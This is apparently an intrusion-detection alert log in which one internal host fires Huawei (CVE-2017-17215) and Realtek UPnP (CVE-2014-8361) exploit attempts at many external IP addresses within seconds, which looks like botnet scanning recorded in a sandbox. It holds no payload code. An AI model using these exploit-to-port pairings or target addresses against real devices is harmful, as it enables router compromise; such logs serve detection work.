07/20/24-23:10:52.546429	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41168	37215	192.168.2.15	157.74.94.198
07/20/24-23:10:49.360961	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60984	37215	192.168.2.15	41.26.16.215
07/20/24-23:10:58.986541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60240	37215	192.168.2.15	41.196.176.52
07/20/24-23:10:51.983833	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52352	52869	192.168.2.15	188.92.250.60
07/20/24-23:10:40.608330	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49096	37215	192.168.2.15	197.136.106.52
07/20/24-23:11:06.678578	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51440	37215	192.168.2.15	41.136.135.90
07/20/24-23:10:46.809208	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51976	37215	192.168.2.15	197.246.92.161
07/20/24-23:10:42.630809	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52696	52869	192.168.2.15	23.244.107.142
07/20/24-23:10:49.450306	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39930	37215	192.168.2.15	41.64.188.170
07/20/24-23:10:39.485535	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47380	37215	192.168.2.15	41.7.140.134
07/20/24-23:10:51.983833	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59648	52869	192.168.2.15	149.136.218.225
07/20/24-23:10:45.155722	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36684	52869	192.168.2.15	154.244.223.55
07/20/24-23:10:46.756315	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55828	37215	192.168.2.15	41.171.160.169
07/20/24-23:10:51.898652	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34882	52869	192.168.2.15	38.143.90.107
07/20/24-23:10:52.581805	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56466	37215	192.168.2.15	157.165.101.142
07/20/24-23:10:46.836862	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58632	37215	192.168.2.15	157.254.73.0
07/20/24-23:10:56.029904	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56680	37215	192.168.2.15	41.149.175.52
07/20/24-23:10:41.231186	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49732	37215	192.168.2.15	157.91.148.53
07/20/24-23:10:45.846142	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49618	52869	192.168.2.15	72.211.196.78
07/20/24-23:10:51.923394	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33870	52869	192.168.2.15	12.15.153.124
07/20/24-23:10:46.724339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58000	37215	192.168.2.15	197.167.254.77
07/20/24-23:10:59.027427	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40920	37215	192.168.2.15	41.8.189.211
07/20/24-23:10:47.908504	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49372	52869	192.168.2.15	159.255.12.160
07/20/24-23:10:39.462416	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41390	37215	192.168.2.15	41.127.217.236
07/20/24-23:10:42.273908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33642	37215	192.168.2.15	41.28.182.30
07/20/24-23:10:43.214856	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33894	52869	192.168.2.15	191.36.218.84
07/20/24-23:10:41.232616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51524	37215	192.168.2.15	157.119.224.103
07/20/24-23:10:42.641904	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41872	52869	192.168.2.15	67.65.153.119
07/20/24-23:10:58.986540	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43614	37215	192.168.2.15	167.21.65.55
07/20/24-23:10:41.231186	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39706	37215	192.168.2.15	86.37.66.37
07/20/24-23:10:52.572631	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41750	37215	192.168.2.15	197.198.98.109
07/20/24-23:10:43.398861	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49388	52869	192.168.2.15	70.33.189.136
07/20/24-23:10:39.187584	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48776	52869	192.168.2.15	134.116.6.133
07/20/24-23:10:40.608330	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54002	37215	192.168.2.15	69.184.161.116
07/20/24-23:10:51.923394	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60752	52869	192.168.2.15	171.98.191.97
07/20/24-23:10:52.033728	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60848	52869	192.168.2.15	99.171.211.36
07/20/24-23:10:49.380109	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38468	37215	192.168.2.15	157.210.26.139
07/20/24-23:10:52.045896	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38138	52869	192.168.2.15	48.171.160.205
07/20/24-23:10:39.430692	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60840	37215	192.168.2.15	41.109.80.153
07/20/24-23:10:44.049362	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45866	52869	192.168.2.15	162.136.177.252
07/20/24-23:10:43.882151	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39378	52869	192.168.2.15	173.221.148.228
07/20/24-23:10:52.555606	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37150	37215	192.168.2.15	41.215.164.37
07/20/24-23:10:51.898994	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40506	52869	192.168.2.15	14.45.204.86
07/20/24-23:10:39.437234	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56992	37215	192.168.2.15	41.242.148.168
07/20/24-23:10:40.616009	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59192	37215	192.168.2.15	41.198.155.196
07/20/24-23:10:52.026922	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58934	52869	192.168.2.15	152.73.4.67
07/20/24-23:10:52.062286	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58990	52869	192.168.2.15	175.237.79.153
07/20/24-23:11:03.368250	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40718	37215	192.168.2.15	41.177.209.62
07/20/24-23:10:41.227732	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44318	37215	192.168.2.15	41.34.252.98
07/20/24-23:10:44.722530	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35276	52869	192.168.2.15	41.19.211.55
07/20/24-23:10:51.909417	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38632	52869	192.168.2.15	203.235.22.121
07/20/24-23:10:52.005273	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50900	52869	192.168.2.15	1.176.202.8
07/20/24-23:10:46.755097	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53818	37215	192.168.2.15	197.105.239.202
07/20/24-23:11:06.646712	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35602	37215	192.168.2.15	41.253.19.155
07/20/24-23:10:46.768902	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49988	37215	192.168.2.15	197.103.32.66
07/20/24-23:10:51.920409	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58544	52869	192.168.2.15	152.198.105.114
07/20/24-23:11:06.646712	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50920	37215	192.168.2.15	41.199.23.210
07/20/24-23:10:56.002189	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59240	37215	192.168.2.15	197.141.186.237
07/20/24-23:10:44.772949	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42284	52869	192.168.2.15	180.55.108.40
07/20/24-23:11:06.706397	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52490	37215	192.168.2.15	154.155.4.0
07/20/24-23:10:47.417816	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59032	52869	192.168.2.15	135.178.159.192
07/20/24-23:10:51.920409	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58544	52869	192.168.2.15	152.198.105.114
07/20/24-23:10:41.231287	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33246	37215	192.168.2.15	197.255.77.151
07/20/24-23:10:42.630809	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52696	52869	192.168.2.15	23.244.107.142
07/20/24-23:10:46.739330	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57458	37215	192.168.2.15	197.118.190.175
07/20/24-23:10:46.711367	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48230	37215	192.168.2.15	41.248.223.251
07/20/24-23:10:46.580123	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37422	52869	192.168.2.15	167.111.167.13
07/20/24-23:10:59.021280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43598	37215	192.168.2.15	197.42.35.146
07/20/24-23:10:39.473748	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54592	37215	192.168.2.15	197.79.113.139
07/20/24-23:10:42.619618	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47392	52869	192.168.2.15	5.162.60.136
07/20/24-23:10:46.951048	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43052	52869	192.168.2.15	36.65.48.163
07/20/24-23:11:06.689940	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34716	37215	192.168.2.15	157.146.57.65
07/20/24-23:10:39.063001	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38292	52869	192.168.2.15	119.87.220.235
07/20/24-23:10:52.029204	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57576	52869	192.168.2.15	163.51.19.31
07/20/24-23:10:49.355429	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60866	37215	192.168.2.15	41.219.1.200
07/20/24-23:10:39.737734	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42446	52869	192.168.2.15	222.31.20.54
07/20/24-23:10:51.925000	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51656	52869	192.168.2.15	45.153.62.62
07/20/24-23:10:52.581805	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41518	37215	192.168.2.15	157.159.99.175
07/20/24-23:10:52.581805	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36094	37215	192.168.2.15	41.157.98.40
07/20/24-23:10:42.622796	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47270	52869	192.168.2.15	77.64.253.97
07/20/24-23:10:59.027427	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54974	37215	192.168.2.15	121.44.96.251
07/20/24-23:10:59.021280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60864	37215	192.168.2.15	176.151.129.238
07/20/24-23:10:52.592459	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59984	37215	192.168.2.15	197.140.167.29
07/20/24-23:10:52.021521	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38514	52869	192.168.2.15	151.138.171.183
07/20/24-23:10:42.625971	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39244	52869	192.168.2.15	191.96.230.47
07/20/24-23:10:42.249182	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48016	37215	192.168.2.15	197.49.200.251
07/20/24-23:10:49.398416	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45672	37215	192.168.2.15	197.47.128.202
07/20/24-23:10:40.649994	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48536	37215	192.168.2.15	197.213.153.141
07/20/24-23:10:44.706644	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33952	52869	192.168.2.15	24.166.44.145
07/20/24-23:11:06.687949	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54854	37215	192.168.2.15	197.214.102.224
07/20/24-23:10:51.920409	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36264	52869	192.168.2.15	4.210.183.193
07/20/24-23:10:42.253016	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53136	37215	192.168.2.15	41.104.211.49
07/20/24-23:10:46.756315	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34030	37215	192.168.2.15	197.170.233.186
07/20/24-23:10:39.931842	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60064	52869	192.168.2.15	206.49.109.215
07/20/24-23:10:39.425582	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51212	37215	192.168.2.15	75.245.37.135
07/20/24-23:10:40.658204	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56918	37215	192.168.2.15	117.238.162.201
07/20/24-23:10:42.620216	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48622	52869	192.168.2.15	73.163.96.192
07/20/24-23:10:46.795245	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46452	37215	192.168.2.15	58.59.198.252
07/20/24-23:10:40.601389	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45588	37215	192.168.2.15	41.182.40.219
07/20/24-23:10:52.581035	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44428	37215	192.168.2.15	157.38.228.1
07/20/24-23:10:39.430384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56722	37215	192.168.2.15	157.29.91.154
07/20/24-23:11:03.406798	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53718	37215	192.168.2.15	41.172.226.166
07/20/24-23:10:55.995070	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41968	37215	192.168.2.15	197.226.226.43
07/20/24-23:10:46.739331	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49724	37215	192.168.2.15	197.57.140.245
07/20/24-23:11:03.419608	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46110	37215	192.168.2.15	197.216.255.254
07/20/24-23:10:56.007995	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39892	37215	192.168.2.15	157.205.90.145
07/20/24-23:10:42.630025	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35830	52869	192.168.2.15	32.169.224.65
07/20/24-23:10:41.231287	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43904	37215	192.168.2.15	157.121.204.204
07/20/24-23:11:03.390577	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44008	37215	192.168.2.15	197.100.41.196
07/20/24-23:10:42.640980	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60052	52869	192.168.2.15	221.199.80.98
07/20/24-23:10:58.986541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51302	37215	192.168.2.15	197.74.105.244
07/20/24-23:10:51.988569	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35012	52869	192.168.2.15	87.46.238.224
07/20/24-23:10:51.931701	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36946	52869	192.168.2.15	45.156.147.64
07/20/24-23:10:47.639957	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42714	52869	192.168.2.15	103.44.42.7
07/20/24-23:10:42.641904	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56304	52869	192.168.2.15	185.59.206.11
07/20/24-23:10:56.006442	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52798	37215	192.168.2.15	157.252.98.245
07/20/24-23:10:39.812132	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41042	52869	192.168.2.15	189.209.128.109
07/20/24-23:10:41.230206	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53678	37215	192.168.2.15	196.4.129.234
07/20/24-23:10:45.751253	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45660	52869	192.168.2.15	23.255.13.10
07/20/24-23:10:49.370142	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60874	37215	192.168.2.15	197.244.120.88
07/20/24-23:10:59.006202	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54170	37215	192.168.2.15	207.204.42.129
07/20/24-23:10:51.905303	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49230	52869	192.168.2.15	166.150.32.219
07/20/24-23:10:52.070108	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34310	52869	192.168.2.15	61.206.111.53
07/20/24-23:10:43.593436	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45792	52869	192.168.2.15	187.70.196.41
07/20/24-23:10:51.905303	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43452	52869	192.168.2.15	137.22.60.132
07/20/24-23:11:06.657863	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33930	37215	192.168.2.15	210.38.21.59
07/20/24-23:10:52.569477	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54302	37215	192.168.2.15	197.5.14.159
07/20/24-23:11:03.371424	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33696	37215	192.168.2.15	197.62.191.193
07/20/24-23:10:59.006202	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59482	37215	192.168.2.15	123.107.246.76
07/20/24-23:10:43.566203	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50488	52869	192.168.2.15	217.179.58.161
07/20/24-23:10:47.624070	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52384	52869	192.168.2.15	177.96.215.245
07/20/24-23:10:40.604940	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33838	37215	192.168.2.15	157.176.210.11
07/20/24-23:10:59.055793	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34290	37215	192.168.2.15	197.223.234.147
07/20/24-23:10:42.249913	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54224	37215	192.168.2.15	51.252.148.88
07/20/24-23:10:45.196798	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44490	52869	192.168.2.15	134.173.80.60
07/20/24-23:10:42.263488	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51084	37215	192.168.2.15	197.115.192.209
07/20/24-23:10:42.636108	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49472	52869	192.168.2.15	134.116.6.133
07/20/24-23:10:40.653603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42874	37215	192.168.2.15	49.223.157.49
07/20/24-23:10:52.538168	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58228	37215	192.168.2.15	41.184.178.177
07/20/24-23:10:51.955556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35572	52869	192.168.2.15	84.101.193.179
07/20/24-23:10:41.227732	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44318	37215	192.168.2.15	41.34.252.98
07/20/24-23:10:42.267551	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56810	37215	192.168.2.15	197.108.166.247
07/20/24-23:10:47.633936	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50034	52869	192.168.2.15	83.91.222.86
07/20/24-23:10:40.649994	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47154	37215	192.168.2.15	41.123.206.73
07/20/24-23:11:03.365384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34842	37215	192.168.2.15	41.191.133.48
07/20/24-23:10:41.227634	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38590	37215	192.168.2.15	41.106.110.233
07/20/24-23:11:06.678578	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35626	37215	192.168.2.15	197.210.66.175
07/20/24-23:10:59.053037	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47032	37215	192.168.2.15	157.182.176.117
07/20/24-23:10:52.572631	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39350	37215	192.168.2.15	41.141.107.129
07/20/24-23:10:49.425318	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33648	37215	192.168.2.15	160.143.66.125
07/20/24-23:10:40.653603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52726	37215	192.168.2.15	157.145.75.170
07/20/24-23:10:59.094768	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44092	37215	192.168.2.15	47.48.207.49
07/20/24-23:10:47.946887	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38692	52869	192.168.2.15	190.9.142.126
07/20/24-23:10:39.486941	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34876	37215	192.168.2.15	44.121.163.52
07/20/24-23:10:43.855483	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34410	52869	192.168.2.15	66.162.227.137
07/20/24-23:10:43.250374	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38830	52869	192.168.2.15	59.72.27.90
07/20/24-23:10:42.620216	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44816	52869	192.168.2.15	125.46.245.158
07/20/24-23:10:40.658204	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59932	37215	192.168.2.15	41.230.50.79
07/20/24-23:10:42.262762	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47842	37215	192.168.2.15	157.111.167.228
07/20/24-23:10:52.047769	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49114	52869	192.168.2.15	54.133.250.242
07/20/24-23:10:59.011093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50748	37215	192.168.2.15	157.85.119.244
07/20/24-23:10:46.739331	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57516	37215	192.168.2.15	197.3.163.253
07/20/24-23:10:56.011930	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33522	37215	192.168.2.15	157.180.20.80
07/20/24-23:10:42.630026	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42686	52869	192.168.2.15	102.119.6.178
07/20/24-23:10:46.768902	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37180	37215	192.168.2.15	41.92.156.169
07/20/24-23:10:56.046357	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58110	37215	192.168.2.15	157.143.92.83
07/20/24-23:10:49.402846	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46666	37215	192.168.2.15	41.88.30.221
07/20/24-23:10:39.106885	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60776	52869	192.168.2.15	61.146.90.23
07/20/24-23:10:52.004720	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40028	52869	192.168.2.15	169.184.79.124
07/20/24-23:11:06.688603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43322	37215	192.168.2.15	157.205.82.135
07/20/24-23:10:59.067929	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55190	37215	192.168.2.15	197.123.246.44
07/20/24-23:10:39.438615	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55676	37215	192.168.2.15	157.222.177.45
07/20/24-23:10:51.900658	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35080	52869	192.168.2.15	140.79.132.232
